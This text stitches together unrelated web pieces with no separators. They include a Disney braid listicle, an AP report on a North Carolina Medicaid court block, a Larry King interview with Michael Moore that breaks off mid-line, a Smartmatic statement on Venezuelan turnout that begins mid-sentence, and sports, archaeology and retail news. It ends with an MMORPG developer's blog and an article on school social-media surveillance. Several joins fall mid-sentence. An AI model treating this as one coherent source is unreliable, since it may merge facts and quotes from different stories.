Cinderella proves you don’t need long hair to pull off a braided look, splitting her medium length hair into two small braids and tying each with a bow. Though she only sleeps in them—taking them apart moments after she wakes up—we’d happily wear this look all day, any day.
Pocahontas
It’s hard to decide what’s cooler: Pocahontas’ braid, or the fact that Meeko is the stylist responsible for it. We may not all have access to nimble-fingered raccoon buddies, but Pocahontas’ simple style is easy to replicate on your own and just what spring days full of running outdoors call for.
Gov. Ratcliffe
Last, but certainly not least, we present Governor Ratcliffe, a choice that may be controversial for a bevy of reasons. First, are those really braids? Second, can we justify including this villain immediately after the Princess that opposes him? We don’t know how to answer either of these questions. What we do know, however, is that those red bows are seriously channelling Cinderella’s aforementioned look and the parallel must be recognized.
What are your thoughts? Did we miss any of your favorites? Tell us in the comments and make sure to check out some of our favorite braid tutorials for extra inspiration.
Posted 3 years AgoRALEIGH, N.C. (AP) — A federal judge late Saturday temporarily blocked the U.S. government from quickly approving any proposal by North Carolina Gov. Roy Cooper designed to expand Medicaid coverage to potentially hundreds of thousands of uninsured people through President Barack Obama’s signature health care law.
The order issued by U.S. District Judge Louise Flanagan came a day after Republican legislative leaders sued to block federal regulators from granting the expansion that the new Democratic governor has started seeking.
Earlier Saturday, lawyers for House Speaker Tim Moore and Senate leader Phil Berger wrote Flanagan that they were worried federal Medicaid regulators could implement the expansion as early as Monday in the final days of the Obama administration. A 10-day window for public comment after Cooper formally told the Centers for Medicare and Medicaid Services of his intent to seek expansion ends Sunday, according to a court document attached to the lawmakers’ request for the delay.
The order for now lasts two weeks, which could defer the matter to regulators in the administration of Donald Trump, who backs the Republican-led Congress in wanting to repeal the health care overhaul that provides the expansion offer. There’s no word yet on a lawsuit hearing. The North Carolina GOP leaders have requested a longer block.
The GOP leaders who sued have opposed expansion. They say the Centers for Medicare and Medicaid Services and the U.S. Department of Health and Human Services aren’t allowed to grant Cooper’s request because it would violate federal laws and the U.S. Constitution. At the heart of their argument is a 2013 state law saying an expansion request specifically requires formal legislative support, which lawmakers say Cooper lacks.
“The governor’s application to expand Medicaid is no more a valid representation of the state’s interest than would be an application submitted by the North Carolina Supreme Court or even a citizen of Idaho,” lawyers for Berger and Moore wrote Saturday.
Cooper has said the 2013 state law infringes on a governor’s core executive powers, and his office, in a news release earlier this month, said the 2013 law “does not apply to this draft plan.” Cooper has said the Medicaid expansion could start in January 2018, generating jobs, helping rural hospitals and reducing expensive emergency care for the uninsured.
“It’s disappointing that legislative leaders will go to such extraordinary lengths to put political ideology ahead of bringing billions of dollars, tens of thousands of good paying jobs and better health care to our state,” Cooper spokeswoman Noelle Talley said in an email after Saturday’s ruling. Cooper isn’t a named defendant in the lawsuit but the health and human services department he runs is identified.
The state would have to provide a financial match to receive the federal Medicaid funds. Cooper has suggested the match could come from hospitals. But the lawsuit says expansion could commit the state to spending more than $500 million through 2021.
The U.S. Department of Justice, which is defending the federal government in the case, declined comment late Saturday through a spokeswoman.(CNN) -- "Larry King Live" has devoted lots of time to the views of all the presidential candidates and their backers. Last week, King spoke to Sen. Hillary Clinton, and there's a standing invitation to all three candidates to appear as guests on his show any night.
TV host Larry King interviews documentary filmmaker Michael Moore on Wednesday.
On Wednesday night, King spoke to Oscar-winning documentary filmmaker Michael Moore, who in April endorsed Sen. Barack Obama. Not surprisingly, Moore didn't hold anything back.
Larry King: When you were last here in February, you said you had opinions on the race, but were not endorsing anybody. What changed?
Michael Moore: Well, I think that the whole movement behind Obama is very impressive. And I think it's a good thing for the country. As far as Obama as a candidate, I think that this is a very decent individual. And I've been just impressed through the various debates as to how he's handled himself, how he has responded to the issues and responded to people.
King: What about how he's handled the Rev. [Jeremiah] Wright thing?
Moore: Jeez, you know, I mean I go to Mass still. I'm a practicing Catholic. I've been that way all my life. But if I had -- if I had gotten up every time I heard a priest from the pulpit in my travels around the country say things like I've heard them say, that birth control is a sin, that women should not be priests, that women should have a different role in church...
King: You'd be walking out all the time?
Moore: I would have been walking out so much -- that would have been so much aerobic activity for me... I wouldn't look like this.
King: OK. You announced your endorsement of Obama on April 21 in a letter on your Web site. You also slammed Hillary Clinton.... Why so rough?
Moore: Well, I supported her run for Senate. My wife and I contributed to her campaign. But the huge disappointment was when she was presented with an opportunity for a moment -- a profile in courage moment in October of 2002 -- to not give Bush the authorization to go to war, she voted for war. And she continued to vote for war for the years after that... and I'm disappointed in that. But when I said [I was] 'disgusted,' that came with the ABC debate. When she threw out [Nation of Islam leader Louis] Farrakhan, when she said the word Farrakhan and Hamas -- to somehow attach that to Sen. Obama -- I just thought that was beneath everything that she used to stand for. And I think at some point, she's going to be disappointed in herself for having done that. Watch Moore discuss his support for Obama »
King: Are you so disappointed that you would consider, if she got the nomination, [voting] for [Sen. John] McCain?
Moore: Absolutely not. No, no, no... most people I know are just going to stagger into the voting booth in November and look for the big "D" on the ballot. And it really isn't going to matter what the name is on there, whether it's...
King: You think a Democrat's going to win?
Moore: Yes.... We've been through eight years of misery. And it's not just the war, although that should be enough right there. But it's everything from what people are paying for gas now to our health care mess and everything else in this country that has just -- we've lost so much time.
Don't Miss CNN poll: Obama losing support
CNN poll: Obama losing support Michelle Obama: Let's get back to issues
Michelle Obama: Let's get back to issues Election Center 2008
King: Don't you think, Michael, that the Democrats [are] the one party that can figure out a way to lose this?
Moore: It's not about the Democratic Party. This has gone beyond that. That's what's so great about Obama is that he's not a partisan person in that way.
King: Do you think the Rev. Wright thing is over?
Moore: It's over when cable news decides it's over... and when these networks come up with something new. I mean, I was kind of enjoying the flag lapel controversy.
By the way, Larry King, where is your flag lapel pin?
I don't see it on you.
King: Where's yours?
Moore: Well, I'm wearing mine. That's right. It's the world's smallest flag lapel pin.... You just can't see it.
King: Microscopic.
Moore: That's why you don't wear a coat, so you don't have to wear the flag lapel pin.
King: So you found me out.
Moore: Yes, that's right.
King: |
which established a National Constituent Assembly beholden to Maduro.
Speaking at a news briefing in London, Smartmatic CEO Antonio Mugica said the results of Sunday's poll were off by at least one million.
"We know, without any doubt, that the turnout of the recent election for a National Constituent Assembly was manipulated," Mugica told reporters.
"We estimate the difference between the actual participation and the one announced by authorities is at least one million votes," he said.
"It is therefore with the deepest regret that we have to report that the turnout figures on Sunday, 30 July, for the Constituent Assembly in Venezuela were tampered with," he said.
Mugica said the company has recorded the correct figure, but would wait to release that information until a full audit is carried out.
Smartmatic, which produces electronic voting machines, started in Venezuela during the tenure of the late President Hugo Chavez. Since then, it has gone global and now serves elections in Venezuela and several other countries.
In a further statement on the company's website, Smartmatic says that the system used in Venezuela is "tamper evident."
"[It] self-reports any attempt to interfere with it. This means that the system is designed to protect the votes from any manipulation and to immediately identify and alert of such an attempt," the company says.
Venezuela's opposition and the White House have condemned the poll as a "sham election." NPR's Philip Reeves, reporting from Caracas Monday, saying that: "The election council - the electoral council in Venezuela claims that 42 percent voted. That's just over 8 million people. This is being met with derision, particularly by the opposition that says the number was closer to 2 to 3 million people."RAIPUR: After initial survey, archaeologists claim to have found remains of a 2,500-year-old city, buried at Tarighat in Durg district of Chhattisgarh where excavation work is to begin shortly.Talking to TOI, J R Bhagat, deputy director, archaeology department, said, "The ancient city located 30km away from the capital was found buried in 2008 in Patan tehsil of Durg district. Its remains indicate that it was a well-planned settlement dating back to 2nd and 3rd century BC."He said it was a chance discovery during his personal visit to Tarighat in 2008 when he found some old coins, beads, pottery items, bones and some structural features on the banks of Kharun River. The Archaeological Survey of India (ASI) has approved excavation of the area, based on the initial findings, he said."After the completion of the process, I believe it would be counted among the biggest archaeological discoveries in Chhattisgarh. The coins and semi-precious stones appear to be from the Kushan and Satavahan dynasties," said Bhagat, adding that the signs of burnt structures at a few places indicate that the ancient city might have been completely destroyed in a fire.He said the area seems to have been divided into blocks which appear like a market. "Many structures were found to be facing the main road which is clearly visible between the blocks. About six to eight rooms were found on both sides of the road," Bhagat said.Archaeologists are conducting survey in the 10 km vicinity of Patan. "For excavation, we would have to dig about 20 feet and few patches have been marked in the region where we expect to find more precious elements," he said.The ancient city is believed to have been rich in ceramic culture with the discovery of a large number of pottery items including vases, basins and bowls. Also, few terracotta figures of males, females and animal figurines were traced while the whole mound was found to be covered with stones.The Saskatchewan government now needs to hold a public inquiry into Global Transportation Hub (GTH) land dealings, says the province’s former Conflict of Interest Commissioner (COIC).
“I believe a much wider inquiry is now required,” said retired lawyer Gerry Gerrand, who served as COIC from 2002 to 2010 before being replaced by current commissioner Ron Barclay.
Gerrand urged Premier Brad Wall — or whomever replaces him in the Saskatchewan Party’s Jan. 27 leadership vote — to use the province’s Public Inquiries Act to get to the bottom of the deal overseen by former economy minister and Kindersley MLA Bill Boyd that saw the GTH spend $21 million for 204 acres of land.
His comments Friday came in the wake of Barclay’s response to the NDP Opposition that the current conflict of interest legislation does not offer the scope or the ability for the commissioner to conduct a proper investigation.
Gerrand said that while Barclay is enduring public criticism for not launching an inquiry, the real problem is the restrictions of the Conflict of Interest Act — a problem that the Saskatchewan Party government could remedy by launching an inquiry through the Public Inquiries Act, he said.
“They (the Sask. Party government) are the only party that can call for this public inquiry and they should do it,” said Gerrand, noting that past governments have held both legislative and public inquiries into everything from David Milgaard’s wrongful murder conviction to the Channel Lake Inquiry into purchases of natural gas leases.
Asked about calling such an inquiry, a senior official in Wall’s office responded: “At this point, we are not ruling out anything with regard to further review of this matter. However, it would not be appropriate to initiate any further review while this matter is still under police investigation. When the police investigation is concluded, the government will consider what further action may be required.”
While former leadership candidate Jeremy Harrison called for tougher conflict of interest guidelines before withdrawing from the race Friday, others hopefuls have skirted the issue of any possible GTH wrongdoing. “The people of Saskatchewan have an expectation, an expectation of their public figures in the province,” Scott Moe said Friday as he launched his leadership bid. “We’ve had processes in place to protect that in this province, and those continue to be in place. The fact of the matter is that, as we move forward, this team here that we have today will be having discussions on all sorts of public policy.”
In a letter responding to a request from interim NDP leader Nicole Sarauer, Barclay said the act limits him to rule on “whether a member contravened the act” and that “I have no jurisdiction to consider any other statutory or common law standards of conduct.”
“Therefore, I offer no opinions, either positive or negative, regarding issues other than compliance with the Act, such as the purchases of land by the GTH in an alleged fiscally irresponsible manner,” Barclay wrote.
Sarauer noted her party has also called for a judicial inquiry and supported Gerrand’s call for Wall or the next Sask. Party premier to hold any such inquiry.
Earlier this week Barclay clarified that — contrary to the Wall government assertion that he ruled in January 2016 that Boyd was not in conflict of interest on the GTH — he had never been asked for or ever rendered an opinion on the matter.
Barclay said he was only asked for his opinion in January 2016 on whether Boyd had a conflict in his private farmland rental agreement with Edmonton businessman Robert Tappauf.
Tappauf made a $6-million profit on 204 acres he purchased from the original landowners a few months before it was purchased by the GTH. The GTH bought the land for $21 million from Regina businessman Anthony Marquart, who had bought the land from Tappauf for $15 million.
An official in Boyd’s economy ministry office negotiated that final purchase from Marquart — a purchase Provincial Auditor Judy Ferguson’s report said was made at “significantly higher price” with the “active involvement” of Boyd and conducted “not in a fiscally responsible manner.”
— with files from Alex MacPherson, Saskatoon StarPhoenixMONTREAL – The Montreal Impact announced on Sunday that the club has acquired American striker Kenny Cooper via MLS waivers. As per league policy, details of the agreement were not disclosed.
Cooper, a veteran of eight seasons in MLS, is ranked 18th all-time with 75 career regular season goals. He has also registered 20 assists, playing in 210 games, including 172 starts, for 15,271 minutes. He also took part in seven MLS playoff matches.
“I'm very excited to have the opportunity to join the Montreal Impact,” said Kenny Cooper. “With the recent achievement of reaching the Champions League final, it's obviously a great time for the club. I am eager and determined to contribute to more success this year. It will be a privilege to represent a club, so rich in history and fan support.”
"We are very pleased to add Kenny to our roster," said Impact technical director Adam Braz. “We have spoken about wanting to add quality depth to our attack and we have done so with this signing. Kenny has scored 75 goals in our league and that says a lot about his abilities. He is an excellent person who will fit in well with our group. We have improved our team and we are looking forward to having him join our group."
Last season, Cooper played 22 regular season games, collecting three goals and four assists. He also helped the Sounders win a fourth US Open Cup, scoring six goals in four games, earning him the tournament’s MVP award.
During his career in MLS, he most notably completed two seasons of 18 goals, with FC Dallas in 2008, and with the New York Red Bulls in 2012. He was named to the MLS Best XI in 2008.
He played in the German second division with 1860 Munich, from 2009 to 2011, and then in the English second division with Plymouth Argyle, in 2010.
Cooper began his career with the prestigious English club Manchester United. He was then loaned to Oldham Athletic, in League One, scoring three goals in five games.
At the international level, Cooper scored four goals in 10 games with the US national team, finding his first goal in his first game on January 20, 2007, against Denmark. He participated in the 2009 CONCACAF Gold Cup and qualification matches for the 2010 World Cup.
Cooper will fly to Montreal on Monday and will be training with the team on Tuesday.
Kenny Cooper
Position: Forward
Height: 6’3”
Weight: 210 lbs.
Birthdate: October 21, 1984, Baltimore, MD
Nationality: American
Previous club: Seattle Sounders FC
Acquired: April 12, 2015Guyana and Trinidad & Tobago get their RWC 2019 regional qualifying campaigns off to the perfect start with bonus-point wins in the Rugby Americas North Championship.
For Trinidad & Tobago and Guyana there are plenty more steps to be taken on the road to Japan 2019 before the dream of representing the Americas at the Rugby World Cup becomes a reality
But neither side could have asked for a better start on their journey to the promised land with bonus-point wins against lower-ranked opposition in the Rugby Americas North Championship South Zone competition, which forms part of the RWC 2019 regional qualification process.
Defending Rugby Americas North champions Trinidad & Tobago kicked off their campaign with a 34-14 win over Jamaica at the Ato Boldon Stadium in Couva, while Guyana, for so long the dominant force in this region, brushed aside Barbados, 48-17.
Up against a Jamaican side positioned 29 places lower than them in the World Rugby Rankings, Trinidad & Tobago quickly asserted their authority on the game with tries from Joseph Quashie, Omari Doyle and Captain Adam Frederick and three penalties from the boot of scrum half Johnasson Alleyne easing them into a 22-0 half-time lead.
Quashie wasted no time in scoring his second shortly after the restart and replacement kicker Leon Pantor added the extras to take the score to 29-0.
Late tries for Jamaica’s Antonio Baker and Orien Smith gave the scoreline some respectability before Kieshon Walker ran in a try from deep to ensure Trinidad & Tobago signed off in style.
CORBIN STARS IN GUYANA WIN
For the second season running, Guyana fell just short of scoring a half-century of points against Barbados.
Winger Avery Corbin grabbed a hat-trick and there were tries for Rickford Cummings, Dwayne Schroeder, Lancelot Adonis and Dane Parks. Scrum-half Ryan Gonsalves contributed 15 points from the kicking tee through five conversions and a penalty.
Guyana now face Jamaica on 21 May at the National Park Playfield, while Trinidad & Tobago take on Barbados.
No rankings points were won or lost by any of the four sides, meaning that Trinidad & Tobago remain in 43rd place in the table with Guyana 55th, Jamaica 72nd and Barbados 77th.KOLKATA | MUMBAI: As Flipkart’s discount sale ran into a storm of protests in the virtual world, the company and its ilk of online retailers found little comfort in the real world too.A parade of big name consumer goods makers and brick-and-mortar retailers took aim at the e-retailer flock of Flipkart Snapdeal and Amazon, accusing them of devaluing their brands and threatening their livelihoods, further marring a day that was billed as an important milestone in the evolution of the fledgling sector.LG Electronics, the country’s largest white goods maker, issued a rare advisory on Monday in which it explicitly stated that it had not authorised any e-commerce company, bar its own online store, to sell its products in India and hence it retains the right of not extending additional services, warranties on such products as it does not vouch for their genuineness.“This is to safeguard our consumers,” a company spokesperson said. Flipkart, however, sought to reassure customers that all products sold on its site were genuine.“We can assure our customers buying LG, Sony or Canon products on Flipkart.com that they are genuine. Our customers will continue to enjoy the warranty and services extended to all original LG products as always,” a company spokesperson said. But officials at several consumer goods makers, many of which have also had an uneasy relationship with the lot of e-retailers, said they would henceforth tighten the noose on online discounting.LG’s rival Sony said it will not allow massive online discounting of its wares because it impacts the company’s brand image and accused e-retailers of having violated business arrangements. “The online sale war of Monday was really disappointing and alarming. This is not the way we have agreed to do business as partners,” said Sony India sales head Sunil Nayyar. He said Sony televisions had borne the maximum brunt of discounting and that it had taken a toll on the company’s brand image as customers who brought the same product a day earlier at its correct market price could feel cheated and blame the brand.“We have decided to handle online discounts now with an iron hand and will ensure Sony is not involved again and there is a fair play for all channels,” he said. The maximum discounts at Monday’s flash sales were for electronic products, notably items such as Apple’s iPhone, iPod and laptops, Sony’s televisions and smartphones, Canon’s cameras, lenses and printers, Samsung’s television, smartphones, refrigerators and washing machines, LG’s televisions, refrigerators, microwave ovens and smartphones, and tablets and computers of Lenovo, Asus, Dell and HP.Camera maker Canon said it would henceforth ask distributors to have separate sets of products for brick-and-mortar stores and online stores. “We have just reached an agreement with Amazon and Flipkart that while they can sell offline models, they cannot discount it. We hope Monday’s sale is just one-off scenario and will not be repeated,” said Canon India Executive Vice President Alok Bharadwaj, adding that the hefty discounting of its products on online marketplaces was not endorsed by Canon and was also difficult to control.“Probably, the best way to reduce disruptions like these is deeper engagements with these online marketplaces which we now plan to do.” Lenovo, which had earlier this year urged customers against buying its products from online retailers only to subsequently withdraw its advisory, said it would also have different models for its online and offline sales channels. Lenovo India MD Amar Babu said his company was keen to have fair competition in the marketplace and did not favour one sales channel growing at the expense of another.The tongue -lashing from the consumer goods biggies on Monday followed a huge brouhaha created by traditional retailers, upset that the hefty discounting by online sites would hurt their business. Brick-and-mortar stores remain the mainstay sales channel for consumer goods brands, but fear that their businesses are threatened by the fast march of online retailers. In categories such as smartphones, online retailers now account for more than a 10% market share, so much so that some new model launches now happen exclusively on these sites. Online retailers also account for 5% of television sales.As Flipkart’s discount sale and Snapdeal’s riposte captured shoppers’ imagination on Monday, small retailers and trader lobbies said they wanted the government to intervene.The All India Mobile Retailers' Association, a new body that claims to represent the interest of around10,000 mobile retailers, said it would approach the government and the Competition Commission of India (CCI) to stop such predatory pricing deals by e-commerce marketplaces.“The way e-commerce is progressing, several shops may have to shut down, which will jeopardise lakhs of jobs,” said the organisation’s secretary general Dhiraj Malik. He accused e-commerce firms of cartel-like behaviour, discounting products and selling them below cost prices. “This in turn has impacted our sales by 30% and profitability by 60%,” he said.The Confederation of All India Traders, an umbrella body representing some six crore traders and small retailers, has already written to Commerce Minister Nirmala Sitharaman to stop discounting by online marketplaces. It said discounting by these sites had affected store sales of items such as cosmetics, footwear, apparel, jewellery, watches, electronics, computer hardware and software, mobiles, sports goods, travel luggage and books.“Since e-commerce firms merely provide a technology platform for sellers who are registered with them and because the ownership of the inventory is not their’s, how can these marketplaces offer discounts?” asked its secretary general Praveen Khandelwal. He said his association would complain to the competition watchdog this week.Officials at large retail chains, also taken aback at the aggressive discounting offered by online players, said e-retailers not only antagonised brands by selling products at throwaway prices but also affected distributors who might now demand unreasonable margins.“This event will perhaps now trigger many brands to go against all online channels for spoiling their imagery and pricing strategy,” said the owner of a leading electronics store chain. Vijay Sales managing director Nilesh Gupta said when it comes to appliances and durables, consumers still want the touch and feel factor, especially in smaller cities. “Also, most of the popular products are not sold online and consumers will have to visit stores if they want latest collection,” he said.Building A Legacy – Beyond The Hype
Over the past decade or so, there’s been a repeating pattern when it comes to the launch of MMOs and those marketed as MMORPGs. Random Game Company invests a few tens of millions into building a game over a three to four year period, there is three to six months of press building up to the launch of the game, including an open beta and early access, they launch (either as a free to play game sustained entirely by a cash shop, or a subscription model that very quickly turns into a free to play game with a cash shop), everyone and every game outlet publishes reviews and editorials and podcasts and vodcasts and Let’s Play videos talking about how it’s the “best game we’ve played in years”…. and within three to six months the game is merging servers, cutting staff, and the players who once lauded the game as the “best thing ever” are off to the next item on their ladder of “best game I’ve ever played”.
With the exception of a few gems out there, such as EVE Online, most of these games never make it into the news again, much less show up in Let’s Play sessions or your favorite streamer’s regular schedule. Even the mighty World of Warcraft has seen a 50% population decline in recent years, dropping from 12 million players to the oft-talked-about 5 or 6 million from recent months. And while new expansions often bring back a core of the once-subscribed into the fold, their investment is never more than the two or three months that an expansion provides in terms of content and entertainment.
Wildstar. Black Desert Online. I could go on. We’ve all seen more than a dozen highly-anticipated and heavily-marketed MMORPGs launch in the past couple of years (and more beyond that) which have gone on to fail dramatically, at least in the sense that the vast majority of players who once hyped the game have jumped ship and are on to the next “hot topic”. Many of these games continue to limp on for years after their launch before eventually working their way down to a single server or sunsetting entirely.
Better writers than I have discussed the ins and outs of the whys and havenots for years, but there’s a crucial point that – for us anyway – most either fail to grasp or simply overlook in their rush to join the hype train of the “next big thing” in the gaming world. And that’s the simple fact that the games of today aren’t being designed for the players of tomorrow. They are cash grabs meant to make as much as they can as quickly as possible in order to drive a return on investment for the company (or bank/investors behind the company). Every single little thing about these games is designed to generate a fast profit, not to provide you with a game meant to last over the years.
Nobody cares if the player is still playing the game three months after launch. The box purchase is already made, it’s a free to play title, and while the cash shop generates some amount of income, the only sure-fire way to generate more profits is to crank out another title.
While we certainly have to think about what it takes to keep the lights on, there’s one crucial element to our internal design process that isn’t affected by the bottom line, and what we feel separates us from the rest of the commercial games currently in development. We’re not building a game purely to generate quick return on profit to satisfy a banker’s (or investor’s) ROI. By putting in sweat equity and working for “free” on this project, we’re pumping a different kind of currency into the game: passion.
We’re building a legacy. A world that we anticipate players investing years into, not merely a few months after the game launches.
Legacy might sound arrogant, so let me state that we aren’t using that word lightly. For us, we’re building something that – like EverQuest – we aim to build well enough that it keeps its players entertained for years through the simple act of putting the community at the core of the game design philosophy. Rather than rely on quest hubs and theme parks and gimmicks marketed through a cash shop, we’re focusing on that one crucial element: the fun and friendships that come about from a group of friends hanging out and being involved in a social activity together, just like the tabletop games that are our primary source of inspiration.
If people only want to play our game for a few months before they run off to the next shiny object, we’ve completely failed as a company in my eyes. It’s been crucial to our development to ensure that we’re building something that captivates the imagination and the essence of that tabletop experience: the addiction of social gameplay where you can’t wait for the next session when you’re able to continue the adventurers of Grog the Barbarian, Ephni the Healer, Trak the Rogue, Persiphone the Ranger, and whoever else is part of your party.
It’s not just about you and your get-me-to-the-end-game-as-quickly-as-possible. That’s one of the reasons people don’t stick around most of the modern-day MMOs that launch, because there’s little incentive to play the game once you’ve finished your own story. With us, it’s about the story of the group, the adventures of the party together as they make their way through the world and meet other adventurers just like you, sometimes joining forces with others along the way when your own strength isn’t great enough to overcome the challenges at hand.
It all comes back to that core principle of What Defines Epic. When you start looking at what defines epic adventures, the kind of adventures that keep people involved for weeks and months and years on end, it’s never about the single serving content. It’s always about the group, about the community, and the social experience that keeps players logging in day after day, night after night. They’re not just playing a game; they are living their lives in a virtual world.
For us, that’s a massive distinction. We’re not just building a game meant to be consumed at breakneck speed. We’re building a world here, something we hope will take on a legacy and life of its own as the players become involved in the relationships that come as a direct result of a social experience, breathing life into itself as the community grows, expands, and defines their own set of adventures through emergent gameplay off the beaten path and far, far away from the realm of theme parks.
When we looked at the classical release schedule for those early days of MMORPGs, expansions released at most once a year, and sometimes only every couple of years. In between, there was more than enough content to keep the average player occupied for the bulk of that time. Especially when you consider that it was almost always group-based content that required community and teamwork to complete, so part of the content was the community in and of itself.
Yes, it’s true that we live in a vastly different world today than in the early years of MMORPGs in the late 90s and early 2000s when there was next to no competition and players were naturally more selective about their games because there were fewer options on the table. Today, there’s a smorgasbord of options available, with new titles launching every week from indie and commercial companies alike, so it’s only natural that players gravitate towards the next shiny object to catch their eye….but only if their primary game isn’t giving them what they need in terms of social interaction and an actual world in which they are invested.
If you never feel attached to the pixels, if you never feel as though you ARE the character within the game you play, the developers of that title have failed (in our opinion) at creating an actual world. Sure, they may have created an entertaining theme park that you can explore for a few weeks, but at the end of the day if you don’t feel invested in that world, in that character, than there’s nothing left for you to come back to. That’s why single player titles only ever have limited replayability; they’re only meant to be played once, or maybe two or three times through.
An MMORPG, on the other hand, is meant to be something that keeps you coming back day after day, week after week, month after month, with fresh adventures, new experiences, and an ever-changing landscape where you live and grow with the world itself. This also ties heavily into why we’re a subscription-based game and not a free-to-play title with a cash shop, because we’re not building a game for the people who only log in once a week for 30 minutes here and there. Our primary audience are the people who actually invest enough time into playing that it’s a justified monthly expense, and we want to ensure that we provide enough content to make that expense worthwhile.
We’ve often touted that we expect the primary storyline of Volume I to have 18 – 24 months of gameplay for just the adventuring sphere. We’re aiming to provide an equal amount of gameplay for the crafting sphere, and another 18 – 24 months of content with the zone, dungeon, and city storylines that players can delve into. But that’s only a portion of what we’re building; those quests are 100% optional, the storylines there to provide lore and a backstory to the world itself, and we can’t rely on quests and storylines alone, as they are finite sources of entertainment that players will consume at varied paces. In our world, they are not the primary source of content.
Instead, for us, emergent gameplay is what drives the social experience. It’s the players themselves that create the content, who create the adventures, the relationships, the friendships that keep them logging back in day after day. What lore and quests we put into the game are there as icing on the cake; they are not the cake itself. This is a virtual world, and in that world the players define what is the most important, the most popular, the most exciting, and ultimately the most rewarding.
So that’s what we’re doing, in a nutshell. We’re working hard at building a world, not just a game. We’re building it this way because at the end of the day it’s where we want to spend our time outside of our real lives. It’s the tabletop campaign taken to the maximum level, into the digital, virtual realm. And for us, it’s about building a legacy that will carry on under the power of its community, the people who decide to come along on this journey with us, and invest a little part of themselves into the Saga of Lucimia.Over a year-and-a-half ago, in Huntsville, Alabama, Chris McRae, chief of security for the city's schools, claimed that he received a telephone tip from the NSA about a Facebook posting that included a threat to a teacher.
NSA has denied making any such call because a) they never, ever, ever spy on Americans at home and b) even if they did, which they never, ever do, they would not notify the school, but "any information about a domestic safety issue would be sent to another federal agency, like the FBI," according to reporting by the local Alabama newspaper, AL.com.
As a result of this NSA phone tip, the school superintendent, Casey Wardysnki, decided to start monitoring the social media of his students to the tune of $157,000 a year.
Acting on tips from students or teachers or others, schools security staff scour numerous social media sites, including Facebook, twitter, instagram, pinterest, and more. They look for evidence of imminent threats to the schools or of gang activity. Wardysnki said the program has led to about a dozen expulsions each year so far and that security is actively monitoring social media at all times.
Of the 14 students expelled last year, 12, or 86 percent, were African American, even though recent studies show that 78 percent of school shootings are done by white males.
The obvious over-representation of black students among those being punished with suspension and/or expulsion may have been what led the ACLU to send an open records request to the Huntsville School District in June of this year.
"A student whose online speech is deemed inappropriate could face punishment, including in-school or out-of-school suspension and sometimes even expulsion," the ACLU letter stated. "These punishments can constitute significant violations of students' rights to privacy and freedom of expression online." The ACLU letter said that in the 2011-12 academic year – the most recent data available – 41 percent of Huntsville's students were black but 71 percent of the students receiving out-of-school suspensions were black and 60 percent of students expelled were black.
The tip that started it all involved tweets made by Auseel Yousefi, then a student at Lee High School, born and raised in Alabama of Yemini parents. He claims the tweets were some very bad attempts at humor that were misinterpreted by the school administration. He told AL.com that the administrators mentioned NSA and an NSA affiliate in their discussions with him. Later, he texted the paper that he thought the name of the firm GEOCOP might have been included.
GEOCOP, like the NSA, has denied having anything to do with the tip. According to their website:
Geospatial Common Operating Picture (GEOCOP) is a Sensitive But Unclassified web-based voice, video, and data overlay technology that instantly connects people, Geospatial applications, and knowledge with operational processes. GEOCOP was invented by a former NCIS and FBI watch officer to provide law enforcement and intelligence agencies with an improved situational awareness tool....
They have, however, been credited with tipping off schools in Texas and Arizona to possible student threats. Firms like GEOCOP call these tips a "get," that are used as sales tools to demonstrate to the schools how GEOCOP can provide real-time information on possible threats.
But GEOCOP is only one of many firms that offer spying capabilities to their clients. STG Sentinel is another:
STG Sentinel is an open source social and platform media monitoring subsidiary of STG Group, Inc., combining Intelligence Community tradecraft with the world’s most advanced surveillance technologies. Our Mission is to provide our global customers with enhanced and proactive security and situation awareness services. In an unsettled world where security threats are pervasive, we rapidly evolve our state of the art technology and tradecraft to accommodate sensor and data infusion that equates to predictive threat detection and security awareness for the 21st century. We are not your traditional monitoring and alerting service. STG SENTINEL is Persistent, Predictive, and Preemptive.
And there is GeoListening, which specializes in spying on students and is providing monitoring for schools in Glendale, California:
James Risen, in his book Pay Any Price: Greed, Power, and Endless War, wrote:
Now, another abstract fear was driving hundreds of billions of dollars a year into building the infrastructure necessary to wage a permanent war on terror, and it had grown like kudzu around the CIA, FBI, Department of Homeland Security, Treasury Department, Pentagon, and dozens of other smaller offices and federal agencies. The post-9/11 panic led Congress to throw cash at counterterrorism faster than the FBI, CIA, and other agencies were able to spend it. One 2012 estimate concluded that the decade of war had cost Americans nearly $4 trillion.... The new homeland security–industrial complex operates differently. It is largely made up of a web of intelligence agencies and their contractors, companies that mostly provide secret services rather than large weapons systems and equipment. These contractors are hired to help Washington determine the scale and scope of the terrorist threat; they make no money if they determine that the threat is overblown or, God forbid, if the war on terror ever comes to an end.
Do you know where your student is? At school? On the bus? Paying for lunch in the cafeteria? Principals in thousands of the nation’s schools know the answer because radio frequency chips are embedded in students’ ID cards, or their schools are equipped with biometric scanners that can identify portions of a student’s fingerprint, the iris of an eye or a vein in a palm. Such technologies have become increasingly common in schools, which use them to take attendance, alert parents where their children get off the school bus or speed up lunch lines.... Jay Fry, CEO of the biometric-in-schools firm identiMetrics, said biometric identification is used in more than 1,000 school districts in 40 states from Alaska to Long Island, New York. West Virginia uses the technology in 70 percent of its 57 school districts, he said.
It looks like some of them are not waiting for the war on terror to end, they are just refocusing on the threats, not from Al Qaeda, but from the boys basketball team.But wait, there is more. According to GovTech.com, modern technology can do more than monitor students' social media activity. Much more.Fortunately, many states are backing away from the use of RFID chips, partly out of respect for student privacy and partly out of a concern over the security of the student information that is being collected.
And according to "A day in the life of a data mined kid," an article at Marketwatch Learning Curve, that concern is well-founded. With the introduction of high tech into our schools, more and more data is being harvested from our students.
“We live in a 24/7 data mining universe today,” says Jim Steyer, CEO of Common Sense Media. “And I think most of us parents and teachers and kids don’t realize how much of our data is out there and used by other people.”
The promise of the massive database collection is to improve the educational experience of the students. The federal government has invested $600 million over the last decade in the program, hoping that the data will eventually be able to show us what works and what doesn't in the field of education.However, a study done by a Fordham Law professor, Joel Reidenberg, has pointed out some of the problems that the data-mining operations present. A total of 95 percent of school districts use cloud storage services "which are poorly understood, non-transparent, and weakly governed." Less than 7 percent of the districts restrict the use or marketing of the data stored by vendors in spite of FERPA (Family Educational Rights and Privacy Act) requirements to the contrary. Cloud service agreements with school districts generally do not provide for data security and often allow vendors to retain student data in perpetuity.
Jose Ferreira is CEO of one of the biggest of the data-mining firms, Knewton, which claims...
... to gather millions of data points on millions of children each day. Ferreira calls education "the world’s most data-mineable industry by far." "We have five orders of magnitude more data about you than Google has," he says in the video. "We literally have more data about our students than any company has about anybody else about anything, and it’s not even close."
